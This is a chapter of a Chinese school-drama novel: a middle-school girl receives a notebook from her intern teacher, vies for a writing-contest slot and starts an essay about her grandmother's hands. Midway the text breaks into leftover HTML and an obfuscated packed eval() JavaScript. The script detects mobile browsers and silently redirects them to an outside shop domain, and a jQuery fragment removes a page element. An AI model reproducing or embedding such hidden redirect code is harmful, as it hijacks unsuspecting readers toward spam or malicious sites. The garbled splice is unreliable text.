那家店夹在两家五金铺中间，门脸很窄。推开玻璃门，门上的风铃叮铃一响，盖过了收音机里单田芳的评书声。
店名叫“时光书屋”，没设前台，只有一个戴老花镜的老头坐在摇椅上看报纸，对来人置若罔闻。店里全是顶/到天花板的书架，过道只容一人侧身通过。空气里是旧纸张干燥的气味。
“这儿的书都按斤卖。”林知意熟门熟路地往里走，“我上大学时常来淘书，有些绝版册子，外面买不着。”
苏念跟在后面，视线扫过一排排书脊。这里没有教辅，没有《五年中考三年模拟》，全是小说、诗集和外文原版书。
她在墙角停下，蹲身从最底层的书架上抽出一本没封面的册子。纸页泛黄，边缘起了毛。翻开是本诗集，印着作者名字的那页被撕掉了。她读了一首，写的是麦田和月亮，让她想起自己买的那张明信片，文字干净利落。
林知意走过来，在她旁边蹲下：“看什么呢？”
苏念递过书。林知意翻了两页便合上：“顾城的诗。”她站起身，“老板，这本我要了。”
苏念也站起来，拍掉裤子上的灰，小声说：“我钱不够。”兜里只剩八块五，还得留两块坐车。
“送你。”林知意拿着书走向门口的称重台。
老头把书放在秤上，拨了两下算盘：“两块五。”
苏念伸手去掏口袋：“我有钱。”
林知意按住她的手：“这是奖品，奖励你这周敢跟刘老师的粉笔灰对着干。”
苏念没再坚持。林知意付了钱，却没马上把书给她，而是从帆布包里拿出钢笔，在残破的扉页上写字。蓝黑墨水沁入泛黄的纸张。写完，她吹了吹墨迹，才把书递过去。
苏念接过，扉页上是一行字：“草木有本心，何求美人折。”
“张九龄的诗，”林知意收好钢笔，“花草开花是天性，不是为了给人摘。你写东西也一样，因为你想写，不是给谁看。”
苏念的指尖在那行字上轻轻摩挲，然后把书装进书包，挨着那盒膏药。
林知意又走到收银台旁的玻璃柜台前，指着里面的一排笔记本：“老板，拿那个黑色的。”
老头拿出一个硬皮笔记本，布面封皮，没有花纹，很厚实。
“这个不按斤卖，十五。”
林知意付了钱，把笔记本拿在手里，转身看着苏念：“以后别再用作业纸写东西了。”
苏念愣住了。她写随笔，只用背面印着数学题的草稿纸，写完揉掉，谁也发现不了。周雨晴从垃圾桶里翻出来的，就是那种东西。
林知意把笔记本塞进她手里，布面粗糙，沉甸甸的。
“你的文字，值得用好本子记下来。”
苏念捧着笔记本，低头看着黑色的封面。这本子太好了。姜翠花只给她买一块钱的软抄本，写字一用力就划破。她的那些想法，一直都和废纸待在一起，不配被装订。
她望向林知意，旧书店昏黄的灯光下，那件米色毛衣的轮廓很柔和。
林知意又拿出那支钢笔，拔下笔帽。
“翻开。”
苏念依言翻开硬皮本。林知意在纯白的首页上写下一行字，笔尖在厚纸上发出轻微的摩/擦声。
苏念盯着那行字，鼻子一酸，赶紧合上本子，紧紧抱在胸/前，低声说：“谢谢林老师。”
林知意收好笔，拍了拍她的肩膀：“走吧。”
两人走出旧书店，冷风吹来，苏念却不觉得冷。她隔着校服，能感觉到书包里的诗集和怀里笔记本的硬朗轮廓。
她低头，再次抚摸笔记本粗糙的封面。扉页上的蓝黑字迹还带着湿气。
上面写着：“给未来的作家，苏念。”
周一早读课，初二（3）班教室。
班主任刘国强拿着一沓A4纸走上讲台，把纸往讲桌上一拍，震起一层粉笔灰，飘落在第一排同学的课桌上。
“说个事。”刘国强敲了敲黑板，“全国‘青春杯’中学生作文大赛的通知下来了。市里很重视，一等奖，中考加五分。”
教室里先是一静，接着炸开了锅。
中考加五分。
苏念坐在最后一排，手停在数学练习册上。五分，在全市排名里能甩开好几百人。她低头看向抽屉里的黑色硬皮本。
第一排的周雨晴挺直了背，转头朝教室后排的苏念瞥去，随即又收回目光，慢条斯理地把语文书摆正。全班第一，作文常年是范文，这五分，她要定了。
下课铃一响，周雨晴就从书包里拿出一本厚厚的《历届青春杯获奖作文选》，放在桌子正中间。几个女生立刻围过去，翻看上面的好句子。
“雨晴，这次肯定有你。”李思思翻着书说，“你上次期中考试的作文，刘老师都说可以直接拿去参赛了。”
周雨晴抚平卷起的书页：“名额还没定，大家都有机会。”
苏念没动，只是看着窗外的香樟树，心里盘算着加分的事。这五分听着遥远，但她想争一争。
上午大课间，语文组办公室。
空调的热风吹得人发闷。年级语文组长张老师端着不锈钢保温杯，吹了吹浮在水面的茶叶。她教了三十年书，带初二（1）班，以前也带过3班语文。桌上堆着一摞摞的教辅资料。
“这次‘青春杯’，学校一共十五个名额。”张老师喝了口水，杯子磕在桌上，响了一声，“平均每个班两个，咱们年级，重点抓几个尖子。3班就周雨晴和学习委员赵一鸣，这两个底子好，送出去稳当。”
林知意坐在对面，面前摊着备课本，手里转着的红笔停了。
“张老师，”她开口，“我想给苏念一个名额。”
办公室里一下没人说话了，旁边几个批改作业的老师都抬起头。
张老师的眉头拧了起来。“苏念？”她想了想，“刘国强班上那个偏科生？数学拖后腿的那个？”
“是。”林知意点头，“但她文字有灵气，观察生活很细。上次的随笔，班里同学都很喜欢。”
张老师挥了挥手，打断她，身子往椅背上一靠。
“小林，你刚来实习，没带过毕业班，不懂。‘青春杯’这种全国比赛，评委要看的是思想，是格局。周雨晴的作文，用词标准，立意高，那才叫上得了台面。”
“可写作的标准不止一种。”林知意从本子里抽出一张粉色便签，推到她面前，“这是她前几天写的随笔，都是些生活里的小事，但写得真。真东西才有劲儿。”
张老师只扫了一眼便签纸上的字，没伸手去接。她把便签纸推了回去。
“写得动人能当饭吃？这是比赛，要去拿奖的。你让她写菜市场、小巷子？格局太小了，上不了奖台。把名额给这种学生，不是白费功夫吗？”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849283|211777||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
下午第一节是体育课，苏念请了生理假，独自留在教室做数学题。
林知意从前门进来，径直走到最后一排。
“语文组开完会了。”林知意拉开陈小满的椅子坐下，“张老师不同意直接给你名额。”
苏念捏紧了手里的橡皮。她料到了，好东西向来轮不到她。
“不过我争取到了校内盲审。”林知意放低声音，“全校有意向的学生都交一篇千字文，名字糊住，年级组老师交叉打分，前十名代表学校参赛。”
苏念抬头望向林知意。
“这是唯一的机会。”林知意的手按在苏念的课桌上，“用你新买的本子写，写你想写的，别管别人怎么说。记住我们在旧书店说的话。”
苏念点头，把那个黑色硬皮本从抽屉里拿出来，在桌上放平。翻开第一页，林知意留下的蓝色墨水字迹已经干透。
放学前，周雨晴站在讲台上宣布盲审的事。
“大家都可以交。”周雨晴拍了拍讲桌，声音响亮，“题目不限，大家最好往科技、未来、国家发展这些大方向上靠。教辅资料里有素材，多背背。别写流水账，评委不爱看。”
陈小满在底下翻了个白眼：“她这是划重点，还是显摆她背得多？”
张逸飞在后排转着笔：“人家里有电脑能上网查资料，咱们查什么？新华字典？”
苏念收拾书包，她不需要查资料。
周雨晴走下讲台，路过苏念的座位时停住。
“苏念，你参加吗？”周雨晴的视线落在苏念桌上的黑色硬皮本上。
“参加。”苏念把本子装进书包。
周雨晴笑了：“挺好，重在参与。”
周三晚上，城中村的出租屋。
姜翠花坐在白炽灯下，面前是一个红塑料盆，盆里泡着一堆带泥的胡萝卜。她明天要去早市帮人摆摊。
水是冰的。姜翠花的手在水里搓洗，骨节粗大，手背青筋凸/起。
苏念坐在方桌前，桌上放着那个黑色硬皮本。
她原本想写巷口的修鞋老头，或是废品站的野猫。此刻，她的视线停在姜翠花的手上。
姜翠花捞出洗好的胡萝卜，扔进旁边的竹筐。这个动作牵动了膝盖，她“哎哟”一声，伸手去捶腿。那只手刚从冷水里拿出来，冻得通红。指甲缝里塞满黑泥，食指侧面咧开一道深口，创口的皮肉翻起，泛着白色。
“看什么看，赶紧写作业。”姜翠花甩掉手上的水珠，“这胡萝卜一斤才赚几毛钱，水费都不够。电费又涨了，这灯别开太晚。”
就是这双手供她上学，给她买一块钱的软抄本。
也是这双手每天早上数着两毛五毛的零钱。
苏念拔下钢笔帽，笔尖触到纸张。
周雨晴在写什么？苏念用笔尖在草稿纸上划了两道。周雨晴应该在写宇宙飞船，写人工智能，写那些从教辅书上抄下来的词藻。
苏念不想写那些。她没见过宇宙飞船，只见过凌晨四点的菜市场，见过一双冻裂的手。
她要在盲审里赢。五分的加分不重要。她要证明林老师没看错人，证明这双长满老茧的手，值得被写进文章。
苏念挺直后背，笔尖开始移动。
灯光拉长了她的影子。她在黑色硬皮本的空白页上，一笔一画地写下四个字：
《外婆的手》。